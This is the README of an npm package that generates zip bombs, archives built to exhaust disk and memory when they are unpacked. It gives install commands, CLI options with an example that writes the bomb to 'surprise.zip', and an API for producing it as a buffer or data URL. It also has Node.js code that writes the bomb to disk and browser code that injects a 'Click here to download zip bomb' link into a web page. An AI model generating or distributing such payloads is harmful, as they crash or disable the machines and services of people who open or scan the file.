zip-bomb
Version:
Zip bomb for Browser and Node.js.
141 lines (82 loc) • 3.17 kB
Markdown
## 💣 Zip bomb [![standard][standard-image]][standard-url] [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url]
[standard-image]: https://img.shields.io/badge/code%20style-standard-brightgreen.svg
[standard-url]: http://standardjs.com/
[travis-image]: https://img.shields.io/travis/harshjv/zip-bomb/master.svg
[travis-url]: https://travis-ci.org/harshjv/zip-bomb
[npm-image]: https://img.shields.io/npm/v/zip-bomb.svg
[npm-url]: https://npmjs.org/package/zip-bomb
[Zip bomb](https://en.wikipedia.org/wiki/Zip_bomb) for Browser and Node.js.
> [⚡️ Live demo here](https://rawgit.com/harshjv/zip-bomb/master/example/index.html)
## Installation
npm install zip-bomb
Checkout [API](#api) usage.
## Command line
npm install -g zip-bomb
### Usage
Usage: zip-bomb [options]
Options:
-h, --help output usage information
-V, --version output the version number
-b, --zero-buffer-size <number> Zero buffer size
-l, --buffer-level <number> Buffer multiplier
-z, --zip-level <number> Level
-o, --output <file> Output file
Example:
zip-bomb -b 10485760 -l 10 -z 50 -o surprise.zip
## API
### `zipBomb.createBuffer(zeroBufferSize, bufferLevel, zipLevel)`
Creates ZIP file `Buffer`.
> returns `Promise`
#### Parameters
* `zeroBufferSize`
* can be `Number`
* creates buffer of 0s with provided size
* `bufferLevel`
* can be `Number`
* multiplies created buffer with zeros with provided buffer level
* `zipLevel`
* creates zip `zeroBufferSize * bufferLevel` zeros of provided zip level
### `zipBomb.createDataURL(zeroBufferSize, bufferLevel, zipLevel)`
Creates `DataURL` (for use in browsers)
> returns `Promise`
#### Parameters
Same as `zipBomb.createDataURL(bufferMultiplier, level)`
## Usage
### In Node.js
const fs = require('fs')
const zb = require('zip-bomb')
const fileName = 'zipbomb.zip'
zb.createBuffer(1024 * 1024 * 10, 10, 10)
.then((buffer) => {
fs.writeFile(fileName, buffer, (err) => {
if (err) throw err
console.log(`${fileName} is created`)
})
})
> **WARNING** `zipbomb.zip` file is evil!
### In Browser (with Browserify or webpack)
const zb = require('zip-bomb')
zb.createDataURL(1024 * 1024 * 10, 10, 10)
.then((dataURL) => {
const a = document.createElement('a')
const linkText = document.createTextNode('Click here to download zip bomb')
a.appendChild(linkText)
a.href = dataURL
document.body.appendChild(a)
})
.catch((e) => console.error(e))
> Embed bundled file into an HTML page and click on the link to download generated zip bomb!
Or open [/example/index.html](/example/index.html) folder in browser.
## Debug
### In Node.js
Enable debug logs by setting the `DEBUG` environment variable.
DEBUG=zip-bomb*
### In Browser
Enable debug logs by running this in the developer console.
localStorage.debug = 'zip-bomb*'
and then reload.
## Test
npm test
> `standard` only for now. More to come.
## License
MIT